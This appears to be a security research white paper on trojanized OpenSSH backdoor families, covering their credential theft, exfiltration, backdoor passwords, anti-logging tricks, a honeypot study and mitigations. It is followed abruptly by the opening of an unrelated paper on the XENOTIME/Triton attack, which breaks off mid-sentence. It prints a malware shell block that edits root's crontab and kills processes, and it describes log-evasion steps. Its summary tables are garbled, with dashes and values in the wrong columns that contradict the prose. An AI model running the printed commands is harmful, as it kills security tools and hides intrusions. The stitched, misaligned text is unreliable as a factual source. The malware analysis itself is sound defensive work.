backdoor families. For example, there is a signature that looks for strings that may be used to disable logging, such as HISTFILE (the environment variable holding the path to the shell’s history file). There are also searches for absolute paths that are not usually present in OpenSSH programs. Finally, the script actually has a whitelist of OpenSSH program hashes that cover the binaries provided by popular Linux distributions. The latest version we have at the time of writing is from 2018 and includes 260 hashes of known-clean OpenSSH builds. #### 2.2 Let the Hunt Begin We figured we could leverage this script to hunt for the samples described by the signatures, improve our own detection, and document the families for which there was currently no published information. A Perl script isn’t very useful for hunting purposes so we translated the various signatures into YARA rules. While some of the signatures could not be translated to YARA directly, we tried our best to create something that would match the samples, even if it meant we would have some false positives. Some fine tuning was done later to reduce their numbers. These rules were used to find samples by scanning new files from our various malware sample feeds and started collecting them. Quite quickly, we saw new malware families that were as yet undocumented. Some of them have C&C servers with domains that have been registered for years. For the purpose of this research, we sorted a few hundred samples and grouped them by codebase. By this we mean that two samples sharing the same source code but with different configurations should belong to the same family. Sorting codebases is actually a tedious process, as a family can easily reuse code from another family if it is publicly available: this was the case for Bonadan, for example, which reused code from Onderon. We were able to distinguish 21 families among our sample set. While some of them are already known, others have never been documented and we couldn’t find any references to them as distinct families. Looking across the wide spectrum of samples and families, we were able to draw a global picture of in-the-wild OpenSSH backdoors. Mainly, they share a set of common features and accomplish their goals using similar techniques. This paper includes a global view of those features and techniques, and a description of each of the families we analyzed. ### 3. Common Features of OpenSSH Backdoors Amongst the collection of samples we were able to capture, a lot presented similarities and used similar techniques. All of them are the result of modifying and recompiling the original portable OpenSSH source (the one used on Linux). A few critical functions are always targeted for modification, such as the ones validating the credentials of a particular user or the ones used to log the authentication process. This section presents an overview of the common features observed in our analysis. #### 3.1 Strings and Code Obfuscation None of the samples we obtained use any complex method of obfuscation. Even though UPX is not an obfuscator, it is still worth mentioning that a few of the samples are packed with it. Some attackers made the effort to encrypt useful strings (such as log filenames). The most common way to encrypt strings is a simple XOR routine. Despite the fact that string stacking (strings constructed on the stack) is not a sophisticated obfuscation method, we have seen quite a lot of binaries using this technique, surely in order to bypass simple string searches. That technique is so common that the Windigo operators also noticed it. They implemented a basic function to retrieve file paths built using the string stacking technique. ```perl @al = ($bsshd =~/\xc6\x45([\x80-\xff][\x00-\xff])/g); my @r1 = get_stack_strings(\@al); @al = ($bsshd =~/\xc6\x44\x24([\x00-\x7f][\x00-\xff])|\xc6\x84\x24([\x00-\xff][\x00-\x10]\x00\x00[\x00-\xff])/g); my @r2 = get_stack_strings(\@al); @al = ($bsshd =~/\xc6\x05([\x00-\xff]{5})/g); my @r3 = get_stack_strings(\@al); my @r4 = get_strings1(\@al); @sd=(); for (@r1,@r2,@r3,@r4) { push @sd,$_ if /^[0-9a-f]{32}$/ } for (@sd) { print "mod_md5_sshd1: '$_'\n" } sub get_stack_strings { my $a=shift; my $to=0; my $ts=''; my @ostr; my %ostr; my @ss = qw{ mkdir var aeiouy bcdfghklmnprstvzx bcdfghklmnprstvz 000 aeiouybcdfghklmnprstv aeiouybcdfghklmnprstvzx klmnprstvzx bcdfg rstvzx bcdfghklmn }; } ``` This code snippet from the Windigo Perl script shows that they are looking for all instances of the string stacking technique in OpenSSH binaries. They built a regular expression containing hex values of the opcodes commonly used while copying the string to memory. There are some legitimate uses of string stacking, so they filtered those cases to avoid false positives. #### 3.2 Credential Stealing and Exfiltration Methods When it comes to stealing credentials, various methods are used to collect, store and exfiltrate them. Moreover, there are a couple of differences between the ways the trojanized OpenSSH client and daemon collect them. **Client vs Daemon** Because the client and the daemon binaries are different, the functions that may be altered are also different. Most of these backdoors log the passwords supplied by users. Regarding the client versions, we observed the following list of functions that are trojanized to steal passwords used to log in: - `userauth_passwd` - `ssh_askpass` - `try_challenge_response_authentication` - `input_userauth_info_req` - `input_userauth_passwd_changereq` Note that not all these functions are modified in each backdoor. The developers of each family choose whatever functions they see fit to alter. Some clients also log the arguments given to the binary in the main function. In a few rare cases, the function `load_identity_file` is also trojanized to steal passphrases of private key files. Concerning the daemon versions, we observed the use of the following functions to capture credentials: - `auth_password` - `sshpam_respond` - `sys_auth_passwd` - `sshpam_auth_passwd` - `server_listen` As mentioned, only a few families went the extra mile to collect keys. This kind of credential collection will be detailed at the end of the paper in the section Analysis of OpenSSH backdoors. Obviously, collected credentials need to be exfiltrated to the attackers somehow. We have observed three ways, with varying levels of complexity, that this is accomplished. **Exfiltration to Local File** Copying the credentials to a local file is the method used by almost all the samples we collected. Most of the samples use only this technique to store stolen credentials, probably because of its ease of implementation. Obviously, this method also requires the attacker to log back onto the compromised machine to get the file containing the captured goods. This requires the operators to have a way back into the system, which could mean that they compromised the OpenSSH server in addition to the client. Some backdoors we analyzed use publicly available proof-of-concept code to implement this exfiltration technique. This shows that some attackers are quite lazy and reuse existing research without improving techniques significantly. The path and name of the file storing the credentials are specifically chosen to blend in with the filesystem. Indeed, a common pattern we noticed is the use of the directory `/usr/include/` or `/usr/share/`, and the log files have `.h` extensions, which could appear legitimate to the user. We have also seen the same structure with different directories and file extensions: - `/usr/lib/` with a filename appended by `.so` in order to mimic a shared library file - `/usr/share/man/` with a `.gz` extension or in a subdirectory of `/usr/share/man` - `/tmp/` with various extensions - `/usr/local/include` with a `.h` extension Some filenames have a dot prepended to hide the file from a basic directory listing. Moreover, the stolen credentials are sometimes encrypted or encoded before being written to the log file. Among the many methods we have seen, the most common ones consist of applying the NOT instruction to all the bytes, or the use of the SUB instruction with a one-byte key. In some specific cases, we observed the use of symmetric cryptography algorithms to encrypt the log file, such as AES (Atollon), 3DES (Bespin) or RC4+ (Crait). These credentials are written to log files with specific structures defined by their developers. The log file structures we observed are very similar. The most common are: - “+user: %s +password: %s\n” for daemon versions - “+host: %s +user: %s +password: %s\n” for client versions - “ssh: ~(av[%d]: %s\n)” for logging the client’s process arguments - “IN: %s at: %s | user: %s, pass: %s\n” and “OUT” for the client version - “user:password -> %s:%s\n” - “passwd from: %s \tuser: %s \tpass: %s \n” - “%s:%s\n” filled with username and password #### 3.3 Backdoor Mode Along with the ability to steal credentials, the operators also want a permanent method to connect back to the compromised machine. To accomplish this, they have included various hardcoded credentials that are checked during SSH authentication. **Hardcoded Password** The most popular way to log in is by comparing the client-provided password with a hardcoded password in plaintext. We also noticed the use of the crypt and bcrypt functions to hide the plaintext value of the backdoor’s password. MD5 hashes were seldom found. Some families also use key authentication and hardcode a public key that allows the operators to login with their private key. **Tamper Daemon Configuration** As well as implementing the backdoor, the malware authors make sure they have root access on the remote system. The OpenSSH daemon can be configured, via the sshd_config file, so that no root logins are allowed and some checks are made in the code to enforce that restriction. The malware developers trojanized those functions to guarantee they get a root shell. We observed the modification of the following functions: - `auth_root_allowed` - `do_setusercontext` - `permanently_set_uid` - `getpwnamallow` - `userauth_finish` Usually, a Boolean variable is set while the attacker is logged in, which disables the logging features. **Log Exclusion** Along with their backdoor access, the attackers also make sure that they do not leave traces on the system. **Environment Variables** Inside the backdoors, a few modifications are implemented to bypass logging functionality. Typically, the function `do_setup_env` is modified so the HISTFILE and sometimes the HISTSIZE environment variables are set, respectively, to `/dev/null` and `0`. **Hooked Logging Functions** As OpenSSH uses a great many functions for logging and debugging, the malware authors modify all of them to avoid writing to log files when the malicious actors connect to the compromised host. Here is a non-exhaustive list of logging functions that were commonly altered: - `do_log` - `record_login` - `record_logout` - `auth_log` - `login_write` - `do_pam_session` - `sshpam_cleanup` - `sshpam_auth_passwd` - `log_facility_number` - `debug` - `verbose` - `logit` - `error` - `ssh_userauth2` Just as in the root access enforcement, a Boolean variable is used to change the behavior of the functions. ### 4. Exotic Planets of the OpenSSH Backdoors Galaxy Amongst the different families of backdoors we were able to collect, four of them implement some notable features that should be described in depth. #### 4.1 Chandrila Like the other families detailed in the section Analysis of OpenSSH backdoors, below, this backdoor steals credentials. More precisely, the authentication method used, the username, and the password are recorded in a string in the following format, and then base64 encoded. **Exfiltration Data Structure** “S%s %s:%s” The encoded data are either written to a local file or sent to the C&C server on its UDP port 32784. Besides stealing credentials, this backdoor has the distinctive feature of being able to receive commands through the SSH password. Basically, two specific passwords are hardcoded into the function validating the authentication. If a user tries to log in using one of these passwords, the data appended to the password is interpreted either as a shell command or as an IP address, depending on which password is used. Although the shell command is simply executed on the infected machine, the IP address is used to create a reverse shell with the infected host. This functionality is quite powerful as it activates the backdoor mode and enables the attacker to execute code remotely, without a shell, in the context of the sshd process. #### 4.2 Bonadan Interestingly, this backdoor reuses the credential-stealing module of the Onderon family of backdoors as well as implementing a completely new module providing additional backdoor features and a cryptocurrency mining extension. This module is started as a new thread in the backdoor’s main function: this thread periodically calls two functions and pauses for five minutes. The first function executes commands to check whether some known cryptocurrency miner is already installed on the system and, if so, removes it. **Cleanup of Potential Cryptocurrency Miners Already Installed on the Host** ```bash sed -i ‘/curl/d’ /var/spool/cron/root sed -i ‘/wget/d’ /var/spool/cron/root killall Circle_MI.png wnTKYg ddg.2011 JN7sb maldet EYgnU ddg.2020 ps -aux|grep -i maldet|awk -F ‘ ‘ ‘{print \”kill -9 \” $2}’|sh ps -aux|grep -i hald-daemon|awk -F ‘ ‘ ‘{print \”kill -9 \” $2}’|sh ``` The second function initializes a connection to the C&C server and sends a bunch of information about the host over UDP: - the username corresponding to the user running the backdoor - the OS version - the external IP address of the infected host - the CPU model - the RAM size - the speed of the miner if it runs **Data Structure Sent to Initialize the Connection to the C&C** `6106#x=%d#%s#user=%s#os=%s#eip=%s#cpu=%s#mem=%s#speed=%s` This structure is encrypted with an XOR key specified in the configuration and sent directly via UDP to port 6152 (default port hardcoded in the configuration) of the C&C. In order to reconstruct the stream, each datagram includes a packet number (6106 in the example above) as well as an index (incremented for each packet sent) specified at the beginning of the structure. Once the data is sent to the C&C server, the backdoor checks if it is being debugged (difference between two successive calls to time) and waits for an answer from the C&C server. Once received, it decrypts the packet with the same key as before and checks if the header is equal to either astra# or 10252#. These two types of packets may contain five distinct commands: - shell: creates a bind shell on the infected host - rshell: creates a reverse shell to the C&C server - exe: executes a command on the compromised machine - args: updates the configuration of the backdoor (C&C hostname, port, timeout) - mine: launches the cryptocurrency mining module The first four commands are pretty run-of-the-mill, but the miner module deserves more explanation. First, the backdoor verifies whether the miner is already running: if it isn’t, a new thread is launched to download the miner from the C&C server to `/tmp/.abc`. To get the appropriate version of the miner for the host OS version, the latter is sent to the C&C before downloading. Finally, the binary is copied to `/var/run` and `/usr/share` and executed. It mines the Monero cryptocurrency as part of a mining pool. We were not able to trace the potential transactions of the sample we analyzed as the configuration file was missing. #### 4.3 Kessel This family of OpenSSH backdoors is probably the most advanced we found. It is also the one whose activity started the most recently, since its C&C server domain has only resolved since August 2018. This backdoor includes two main features: stealing credentials and bot functionality. **Bot Feature** Unlike the previously documented families, this backdoor comes with a specific configuration hardcoded and encrypted (RC4) in the binary. The Katai structure corresponding to the configuration is available on our GitHub IoC repository. At the beginning of the OpenSSH main function, the configuration is decrypted and set in various global variables. Considerable information is retrieved from the configuration, including the C&C hostname and port, the network protocol that has to be used to communicate with it, and the master password and key used for the backdoor mode. Once the configuration is set, the bot is initialized following these steps: 1. It generates a bot ID based on the MAC address of the compromised host. 2. It collects some system information (architecture, OS version, DNS address, …). 3. It launches two threads: - The first sends an encrypted request periodically to the C&C server containing the information previously collected and waits for an answer. The attacker’s server responds with a packet (also encrypted) containing an IP address and a port, and another thread is then launched to create a reverse shell between the infected host and the machine specified in that response. - The other repeatedly queries the custom DNS server on the C&C to get commands through RC4-encrypted TXT records. Amongst the implemented commands, there is the possibility of uploading/downloading a file to/from the compromised machine, executing commands, and updating the rate of DNS queries to the C&C server. These two threads are executed only if the corresponding flags are set in the configuration of the backdoor: this way, the behavior of the latter can be altered depending on the compromised system. #### 4.4 Kamino The history of this backdoor is interesting. We encountered the first variant of it in early 2013. Our colleague Sébastien Duquette documented his findings in an article on our blog WeLiveSecurity. At the time, Kamino was used together with an Apache module called DarkLeech to redirect internet traffic. It was operated by a group mass-spreading malware through exploit kits. Fast-forwarding a few years, the same backdoor is being used in targeted attacks against Russian banks by a group commonly known as Carbanak (aka Anunak). There are a few hypotheses that would explain this usage in two quite different contexts. It is possible the same group of malicious actors changed their activities from mass-spreading malware to targeted attacks. Since the motivation for both attacks is financial gain, this is perfectly feasible. Also, given that DarkLeech disappeared not long before Carbanak was discovered in 2014, it is not unreasonable to think that both attacks could be from the same group. Another explanation would be that both groups hired the same person to deal with Linux servers. Lastly, it’s also possible this backdoor is being sold on the underground market and both groups are customers of the backdoor’s author. Given that DarkLeech was also sold on underground forums, it’s possible both these examples of malware simply happened to be used by different groups. ### 5. Custom Honeypot #### 5.1 Goals In order to build on our initial findings and extend this research, we set up a custom honeypot. The main goals were: - To see if the operators behind these backdoors are still active. - To get up-to-date versions of their backdoors. - To see what use they made of a compromised server. #### 5.2 Honeypot Structure and Strategy **Low- and High-Interaction Honeypots** When one speaks about honeypots, it is important to distinguish between low-interaction and high-interaction honeypots. As a reminder, low-interaction honeypots use emulation to expose vulnerable services to the internet, while limiting the ability of an attacker or malware to interact with them. On the other hand, high-interaction honeypots are based on a real operating system and provide an actual vulnerable application or service. As the attacker gets full access to the operating system, this type of honeypot gives a much fuller picture of the attacker’s behavior and procedures, while being less suspicious than low-interaction honeypots, which can be easily detected. The main drawbacks of using a high-interaction honeypot are the risk that an attacker might pivot from your honeypot to target other machines (sending spam, for example, or worse), and the complexity of their setup. In our case, a high-interaction honeypot was more suited to our needs as we wanted the malware’s operators, if any, to install newer versions of their backdoors successfully. Many medium/high-interaction OpenSSH honeypot solutions are publicly available. Amongst the most popular are Kippo and Cowrie (mainly based on Kippo), but since they are quite well-known, they are also quite easy to detect. In order to have a honeypot that arouses as little suspicion as possible, we prefer to use a man-in-the-middle server rather than a real OpenSSH server, so as to leave as few hints as possible to the attackers that they are in a honeypot. **Credential-Leak Strategy** The plan was to leak the credentials of our honeypot in order that the operator behind one of these backdoors would log in and start playing. Since we did not have an already-compromised machine, we needed a way to send the malware operator the credentials. Amongst the different backdoors we found, only a few of them exfiltrate the credentials over the network. Moreover, the strategy is quite different according to whether it is a client or daemon backdoor. Indeed, for a client backdoor, we would need only to use it on any host to log into the honeypot SSH server, and the credentials would be leaked to the attacker. Whereas this strategy is pretty easy to implement, and not likely to arouse suspicion, it is much more complicated to leak the credentials for a server backdoor while staying undercover. One of the solutions that we were able to exploit was to install the daemon backdoor on the honeypot, log in using a legitimate SSH client so the daemon leaked the credentials and remove the backdoor after that, so that the malware operator thinks their backdoor has been found and has to be reinstalled. This strategy had less chance of succeeding because an attacker could easily see through it if a list of infected servers is kept. To sum up, here are the strategies we followed to leak the credentials of the honeypot server, depending on the version of the backdoor: 1. Create a user on the honeypot server and give them root (sudo) rights. 2. Perform legitimate activity (installing HTTP server, LAMP stack…) as this user. 3. Use the client backdoor (if it is available) or a legitimate client (if daemon-only) to log in as this user on the honeypot server. 4. Daemon-only: simulate the detection of the backdoor (check for unusual activity) and remove the backdoor from the honeypot. 5. Wait for the attacker to connect with the leaked credentials and observe their actions from the man-in-the-middle server. #### 5.3 Interactions Observed At the time of writing this paper, we have leaked credentials to three different backdoors and observed activity from the operators of two of them. This section describes what we have witnessed. **Mimban** This was the first backdoor for which we leaked credentials because we had reason to believe the operators were still active and we had both the daemon and the client version. As described in the previous section, we naturally used the client backdoor to leak the credentials. Interestingly, the attackers behind the backdoor logged in to our honeypot only a few hours after we leaked the credentials, implying the operators were still monitoring this activity closely. Thanks to our honeypot architecture, we were able to capture the commands executed on the server. **Borleias** The leak for this backdoor was much more productive. As was the case with the Mimban backdoor, the operators took less than 24 hours to log into our honeypot with the leaked credentials. In this case, the attackers logged into the honeypot more than 10 times within four days: here is an overview of the actions seen on the server: - They used Tor each time they logged in so we could not trace their origin. - They used either a classic OpenSSH client or the Netbox Far Manager plugin to browse the server filesystem. - Interestingly, they managed to get the credentials we leaked to the Mimban backdoor operators. This means the operators behind Mimban had probably sold the credentials or are somehow connected to the Borleias attackers. - They logged in the first time to do some basic checks and exfiltrate the OpenSSH client and daemon as well as the cron binary, then they came back a few days later to drop a new version of their backdoor. - They modified the timestamps of the trojanized binaries so they were the same as the other OpenSSH files. - They dropped and executed a bash script in order to get plenty of information about the server. - They cleaned the command history at each connection by redefining the HISTFILE environment variable to `/dev/null`. - They were very careful regarding the detection of their activity (they checked running processes and the logged-in users between the execution of each command). The new backdoor they dropped showed some similarities with the old version (especially in terms of C&C communications). However, a lot of new features have been implemented, so we documented it as a new backdoor (see Crait analysis). In order to see if there were similar backdoors in-the-wild, we wrote a YARA rule based on the characteristics we extracted from this new backdoor and returned to the chase. Surprisingly, we quickly found a new backdoor showing similarities with Crait but also implementing a whole new feature, consisting of sending commands through SSH passwords to the infected machine (documented as Chandrila backdoor). #### 5.4 Discussion and Possible Improvements From the results obtained from the custom honeypot we used, we believe that a lot of information can be retrieved regarding the activity of these malware operators, how they behave, and the likelihood of getting new samples. In practice, we observed a lot of activity when we leaked credentials for client backdoors, but none when we applied our strategy for daemon backdoors. This result shows that either our method was not appropriate or the operators were no longer actively monitoring their C&Cs. We believe cases where the OpenSSH daemon is backdoored but the client is left untouched to be quite rare. A possible improvement could have been to re-implement the credentials exfiltration mechanism in order to simulate a connection with the client backdoor on our honeypot server. However, this assumes that the data exfiltration procedure is the same for the daemon and the client, and it also can require a considerable amount of time to re-implement the exfiltration functions, depending on the complexity of the backdoor. For these reasons, we did not try this method, but it might be the subject of future work. ### 6. Summary Table Brief analyses of all 21 families of SSH backdoors this research has identified to date are included in the Analysis of OpenSSH backdoors section at the end of this white paper. This table provides an overview summarized from that section. | Family | Network Exfiltration | Local Exfiltration | Backdoor Mode | Source Code Available | Documented | Anti-logging | Obfuscations | |-------------|----------------------|--------------------|---------------|-----------------------|------------|--------------|--------------| | Abafar | - | - | - | - | - | - | - | | Alderaan | - | - | - | - | - | - | - | | Anoat | - | - | - | - | - | - | String-stacking | | Akiva | - | - | - | - | - | - | - | | Ando | SMTP | - | - | - | - | - | - | | Atollon | - | encrypted | - | - | - | - | Encrypted strings and string-stacking | | Batuu | - | encoded | - | - | - | - | - | | Bespin | - | - | - | - | - | - | - | | Bonadan | UDP | - | - | - | - | - | - | | Borleias | UDP | - | - | - | - | - | - | | Chandrila | UDP | - | - | - | - | - | Encrypted strings | | Crait | UDP | - | - | - | - | - | Encrypted strings | | Coruscant | HTTP | - | - | - | - | - | - | | Endor | SMTP | - | - | - | - | - | UPX (Some variants only) | | Jakku | HTTP | - | - | - | - | - | Encrypted strings | | Kamino | HTTP | - | - | - | - | - | Encrypted strings | | Kessel | HTTP, TCP, DNS | - | - | - | - | - | Encrypted strings | | Mimban | TCP | - | - | - | - | - | Encrypted strings | | Onderon | - | - | - | - | - | - | - | | Polis Massa | SMTP | encoded | - | - | - | - | - | | Quarren | - | - | - | - | - | - | - | ### 7. Mitigation #### 7.1 Preventing Compromise of SSH Servers The raw data we had for this research was mostly malware samples only, missing contextual information. Thus, it is difficult to determine the infection vector used to install these OpenSSH backdoors into systems. One thing we know is that all the backdoors we analyzed contained credential-stealing functionality. This suggests that they could spread using the stolen credentials where the compromised system is used to connect to another. This doesn’t explain the initial compromise but could explain how they extend their reach. We can also speculate that some attackers could be using brute-force attacks to gain access through SSH password authentication. Having long and complex passwords prevents brute-force from being successful, but disabling password authentication sounds like an even better solution. Using key-based authentication makes it more secure in that regard. Also, most Linux distributions nowadays disable remote root login (PermitRootLogin no), which prevents login without going through a named user account. We believe this is a good practice. Perhaps the user has administrative privileges but that cannot be automatically ascertained from the username. Furthermore, you can identify whose credentials are compromised and react accordingly, in contrast to a situation where the root password is shared among admins. The most efficient solution would be to use multi-factor authentication. While OpenSSH doesn’t support built-in multi-factor authentication it can be achieved through PAM. Existing solutions include the OATH Toolkit and google-authenticator-libpam. #### 7.2 How to Detect Compromised SSH Tools The IoCs published with this research include YARA rules that are available on our malware-ioc GitHub repository. ESET products detect the malicious OpenSSH files as Linux/SSHDoor variants. Verifying the integrity of the OpenSSH binaries sounds like a good thing to do, but it’s tricky. Unfortunately, unlike a signed PE on Windows or a signed Mach-O on macOS, the ELF file format does not support embedded signatures. Detached signatures are used by major Linux distributions. APT, used on Debian-based distributions, and RPM, used on CentOS and Fedora, both support keyring and signature verification while installing new files. However, they don’t provide protection against running unsigned code. Verifying files after the system is compromised could be challenging. On RPM-based distributions, `rpm -V` can be used to check integrity. This will verify files from the manifest of the installed RPM. Now there are still questions: is it signed, who signed it and can it be trusted? `rpm -qi` will answer most of those questions. The only way to be sure it is signed by a trusted organization is to compare the PGP key ID. `rpm` will not flag an untrusted package once it is installed with `--nosignature`. Installing RPM with the same key name but a different key ID is a technique used in-the-wild: Ebury uses this trick to replace files without triggering a warning from `rpm -V` and is almost impossible to spot with `rpm -qi`. On a Debian-based distribution, `debsums` or `dpkg -V` can be used to compare MD5 hashes of installed files with a manifest stored on disk in `/var/lib/dpkg/info/`. It’s a start, but the manifest file, which only contains paths and MD5 sums, can be tampered with. An important thing to know is that in the Debian and Ubuntu official repositories, only the metadata is PGP-signed. The .deb package itself isn’t signed. The metadata contains the hash of .deb packages and that is the only thing that can be trusted. Whatever the technique used to authenticate OpenSSH’s binaries, a cautious user could also look at the shared libraries they load. A malicious library could change the behavior of any application that uses it. None of the documented backdoors described in this paper use that technique. However, Ebury did use this technique by altering `libkeyutils.so`, which is loaded by all OpenSSH processes. Analyzing outgoing network traffic could help flag unusual traffic. However, it may not be obvious if a lot of traffic goes through the server and several of these backdoor families take steps to “hide in plain sight” by making their credential exfiltration look much like typical traffic a server might create. ### 8. Conclusion In terms of telemetry, Linux malware suffers from limited visibility compared to other platforms. We hope this research helps clarify the state of in-the-wild OpenSSH backdoors and raises the right questions when securing Linux systems. It is interesting to see that attackers have a wide range of technical skills. Some of them are quite advanced compared to the off-the-shelf backdoors used by others. Nevertheless, all of them seem to succeed in keeping a foothold in their victims’ networks. It will be interesting to see if those that are more evolved persist longer and are more prevalent. Even after analyzing 21 other families, Ebury remains at the top of the list in terms of complexity. We have tried to gather as much detail as possible before the publication of this paper, including by luring attackers into our honeypots, but there are still many unanswered questions. How prevalent are any of these malware families? What techniques, other than credential stealing, are they using to propagate? What are the botnets used for? The battle against OpenSSH backdoors isn’t won. Cooperation between system administrators and malware researchers can help unearth Linux malware on compromised systems. Feel free to reach us at [email protected] if you have details about the backdoors we have described, or not described, or if you have any questions. ### 9. References 1. ESET Research, “Operation Windigo – the vivisection of a large Linux server-side credential-stealing malware campaign”, ESET, 2014. 2. Jajish Thomas, “Types of Honeypots - Low Interaction Honeypots and High Interaction Honeypots”. 3. E. Alata, V. Nicomette, M. Kaâniche, M. Dacier, M. Herrb, “Lessons learned from the deployment of a high-interaction honeypot”, EDCC'06, 2006. 4. “Honeypot and Networking Background”, Gigatux. 5. Phibo, “Dionaea – catches bugs”, Github, 2010-. 6. Several contributors, “Kippo – SSH honeypot”, Github, 2014-. 7. Several contributors, “Cowrie SSH/Telnet Honeypot”, Github, 2014-. 8. Kaitai Struct, “declarative binary format parsing language”, Kaitai Project, 2015-. 9. Several contributors, “The Tor project, Inc”, 2006-. 10. Several contributors, “NetBox: SFTP/FTP/FTP(S)/SCP/WebDAV client for Far Manager 2.0/3.0 x86/x64”, Github, 2011-. 11. Virustotal team, “The pattern matching swiss knife for malware researchers”, Virustotal, 2008-. 12. OpenBSD Project, OpenSSH, 2018. 13. Several contributors, "openssh/openssh-portable: Portable OpenSSH", Github, 2018. 14. M A Budiman et al, "An Implementation of RC4+ Algorithm and Zig-zag Algorithm in a Super Encryption Scheme for Text Security", 2018, J. Phys.: Conf. Ser. 978 012086. 15. Sébastien Duquette, "Linux/SSHDoor.A Backdoored SSH daemon that steals passwords", WeLiveSecurity, 2013. 16. Randhome, "Openssh backdoor used on compromised Linux servers", 2016. 17. Tek, "Te-k/openssh-backdoor: Openssh backdoor found with a ssh honeypot", Github, 2016. 18. Seppe "Macuyiko", "Running A SSH Honeypot With Kippo: Let’s Catch Some Script Kiddies", 2011. 19. Jeff Bryner, "Analysis on a compromised Linux RedHat 8.0 Honeypot", GIAC, 2004. 20. Marist College, LongTail Log Analysis, 2018. 21. Homputer Security, "Analyse de logs d’un honeypot SSH", 2017. 22. Fernando Domínguez, "Leaving the ssh port open to the wild", 2016. 23. Kaspersky Lab ICS CERT, "Energetic Bear/Crouching Yeti: attacks on servers | SecureList", 2018. 24. LinuxQuestions.org, "CentOS 5 -- ssh compromised? can't yum update...", 2011. 25. Asaf Nadler, "Introduction to DNS data exfiltration", 2017. 26. Frédéric Vachon, "Windigo Still not Windigone: An Ebury Update", 2017. ### 10. Analysis of OpenSSH Backdoors This section summarizes our categorization of the 21 different families of OpenSSH backdoors we have identified. Each is classified according to the following characteristics: - ESET detection name - Known period of activity based on our findings - Features as they were detailed in the Common features of OpenSSH backdoors section - Exfiltration techniques - OpenSSH versions the malware is based on - Some example hashes of samples analyzed The naming convention chosen is based on the list of planets in the Star Wars saga and is not in any way linked with the ESET detection name. | Family | ESET Detection Name | Known Period of Activity | Features | Exfiltration Techniques | OpenSSH Version Trojanized | Existing Documentation or Source Code | |-------------|---------------------|--------------------------|----------|-------------------------|----------------------------|--------------------------------------| | Abafar | Linux/SSHDoor.AB | From 2016 to present | - log remote host, login time, username and password; - can log denied login attempts; - attacker can log in as root; - anti-logging feature; - multi-architecture (ARM, x86, x64, MIPS); - client and daemon versions available | - client version: “%s:%s@%s\n” (username, password, remote_host); - daemon version: “%s:%s from %s\n” (remote_host, username, password) | OpenSSH_6.0p1 | Source code captured in a honeypot by a researcher: https://github.com/jivoi/openssh-backdoor-kit/tree/master/openssh-5.9; Documented by Angel Alonso-Parrizas in 2016: https://blog.angelalonso.es/2016/09/anatomy-of-real-linux-intrusion-part-ii.html | | Alderaan | - | - | - | - | - | - | | Anoat | - | - | - | - | - | String-stacking | | Akiva | - | - | - | - | - | - | | Ando | - | - | - | SMTP | - | - | | Atollon | - | - | - | encrypted | - | Encrypted strings and string-stacking | | Batuu | - | - | - | encoded | - | - | | Bespin | - | - | - | - | - | - | | Bonadan | - | - | - | UDP | - | - | | Borleias | - | - | - | UDP | - | - | | Chandrila | - | - | - | UDP | - | Encrypted strings | | Crait | - | - | - | UDP | - | Encrypted strings | | Coruscant | - | - | - | HTTP | - | - | | Endor | - | - | - | SMTP | - | UPX (Some variants only) | | Jakku | - | - | - | HTTP | - | Encrypted strings | | Kamino | - | - | - | HTTP | - | Encrypted strings | | Kessel | - | - | - | HTTP, TCP, DNS | - | Encrypted strings | | Mimban | - | - | - | TCP | - | Encrypted strings | | Onderon | - | - | - | - | - | - | | Polis Massa | - | - | - | SMTP | - | encoded | | Quarren | - | - | - | - | - | - |
# ZEROING IN ON XENOTIME: ANALYSIS OF THE ENTITIES RESPONSIBLE FOR THE TRITON EVENT **Joe Slowik** Gigamon, USA [email protected] ## ABSTRACT The 2017 Triton or TRISIS event targeted safety systems at an oil and gas processing facility in Saudi Arabia. Although all available evidence indicates the attack likely failed in its overall execution, the incident stands out as the first attempted cyber event that contained the possibility for direct harm or loss of life. While gathering headlines for some months after the incident was publicly revealed in late 2017, further reporting on the actor responsible – referred to as XENOTIME – appeared to dry up, leaving many unanswered questions. Matters changed in 2022 with a combination of some very broad industry reporting and the public release of a US Department of Justice indictment from 2021 identifying a specific persona behind the Triton incident. While adding some context around the group, many questions remain unanswered, not the least of which being what this entity (or its component organizations) has been up to since 2017. This presentation will delve deeper into the specific entity (or perhaps more plausibly, entities?) responsible for the 2017 event, and the implications of this association. While earlier reporting identified a specific research institution as linked to the 2017 incident, an observation seemingly reinforced by the indictment, further analysis reveals that this entity likely served primarily tool development, testing and research functions, leaving the actual perpetrators unidentified beyond loose country association. By exploring technical, targeting and geopolitical factors surrounding the events in Saudi Arabia, as well as discussing additional activity linked to this actor between 2018 and 2022, we will gain greater understanding of just who XENOTIME might be and its implications for overall critical infrastructure cyber operations since the Triton event. ## INTRODUCTION In 2017, a petrochemical facility in Saudi Arabia experienced multiple, unexpected, and (initially) unexplained shutdowns. Taking place in June and again in August 2017, multiple Safety Instrumented Systems (SIS), also referred to as Emergency Shutdown Devices (ESD), inexplicably tripped, inducing disruption in the industrial environment. Subsequent investigation of the August incident revealed several interesting artifacts residing on a safety system workstation, most notably a framework for surreptitiously interacting with Schneider Electric Triconex SIS devices – ultimately given the name Triton. Also referred to as TRISIS and HatMan, analysis indicated Triton was designed to enable an attacker to arbitrarily – and silently – modify a Triconex SIS, enabling potentially catastrophic, and even deadly, outcomes. Yet initial reporting provided little, if any, detail as to what entity was responsible for the incident in question. Further research (as well as actions from the US government) linked Triton to a research institute in Russia, the State Research Center of the Russian Federation Central Scientific Research Institute of Chemistry and Mechanics (TsNIIKhM). Although undeniably linked to events in 2017, TsNIIKhM is an odd organization to engage in operations described by some as ‘malware that can kill’. More significantly, aside from limited leaks and government actions, in five years no further substantial events have specifically been identified and irrefutably linked to the adversary responsible for Triton, referred to in commercial reporting as XENOTIME. In this paper we will review the 2017 Triton incident, discuss follow-on operations associated with the group responsible, and then explore what ‘XENOTIME’ plausibly means. Through this examination, we will study the differentiation between developers and actors in cyber operations, and what this means for incidents where visibility is limited, and multiple parties are likely at play. ## THE TRITON INCIDENT Based on multiple public disclosures, the Triton incident targeted the Petro Rabigh joint venture petrochemical facility in Saudi Arabia. Interestingly, the plant disruptions took place several times, resulting in facility shutdowns – but not something more catastrophic given that SIS devices were the attacker’s final targets. Based on the capability deployed (a multi-part framework to quietly and arbitrarily modify safety logic in industrial environments) and the effects achieved (plant shutdown), a disconnect seems to exist as the latter effect could be more easily attained via other, more direct means. As analysed previously, Triton likely represents an ambitious attempt to create a cyber-physical impact that ultimately failed for reasons still not completely understood. Based upon public analysis and disclosure, XENOTIME thoroughly compromised the victim environment, from initial IT breach and lateral movement, through entry into the 